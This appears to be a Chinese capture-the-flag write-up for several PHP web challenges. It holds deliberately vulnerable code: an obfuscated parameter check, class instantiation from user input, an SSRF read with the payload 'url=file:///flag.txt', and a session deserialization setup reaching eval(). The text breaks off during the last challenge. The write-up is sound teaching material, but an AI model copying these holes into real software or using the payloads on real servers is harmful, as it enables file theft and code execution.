来签个到吧~~

<?php
error_reporting(0); 
highlight_file(__FILE__); 
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; } 
echo getenv("\107\132\103\124\106\137\106\114\101\107"); lklsgyy:
if (!($_REQUEST["\x69\x64"] == base64_encode("\150\x65\156\141\156"))) { goto lklsgyy; }
  • \x69\x64 是一个十六进制转义序列,表示字符串 "id"
  • \150\x65\156\141\156 是一个八进制和十六进制转义序列,表示字符串 "henan"
  • base64_encode("\150\x65\156\141\156") 将字符串 "henan" 编码为base64。

代码检查 $_REQUEST 数组中的 id 参数(包括 $_GET$_POST 数据)是否等于 "henan" 的base64编码值。

  • "henan" 的base64编码值是 "aGVuYW4="

如果 id 参数不等于 "aGVuYW4=",代码会跳转到标签 lklsgyy

记得匿名哟~

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = new class {
    function getflag()
    {
        system('cat /flag.txt');
    }
};
unset($a);  //这行代码销毁了变量 $a,因此之前创建的匿名类实例不再可用。
$a = $_GET['class'];
$f = new $a();
$f->getflag();
?>

搜索一下

SSRF使用file协议即可

<?php
function geturl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $output = curl_exec($ch);
    curl_close($ch);
    echo $output;
}

if(isset($_POST['url'])){
    if(preg_match("/flag/i", $_POST['url'])){
        echo "<b>flag在/flag.txt</b>";
    }
    geturl($_POST['url']);

}
else{
    echo "
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset='UTF-8'>
</head>
<body>
<form method='post'>
<input type='text' name='url' placeholder='输入网址'>
<input type='submit' name='submit' placeholder='提交'>
</form>
</body>
    </html>";
}
POST:
url=file:///flag.txt

你知道SESSION吗(session反序列化逃逸)

 <?php
error_reporting(0);
session_start();
class HelloEva{
    private $name;
    function __wakeup(){
        echo "Welcome To Eva Word~";
    }
    function __destruct(){
        eval($this->name);
    }
}
$obj = new HelloEva();
highlight_file(__FILE__);
# Look Look session.php?
?>

session.php

 <?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];
?>

ini_set('session.serialize_handler','php_serialize');:设置会话序列化处理器为’php_serialize’,这意味着会话数据将使用PHP的序列化机制进行存储。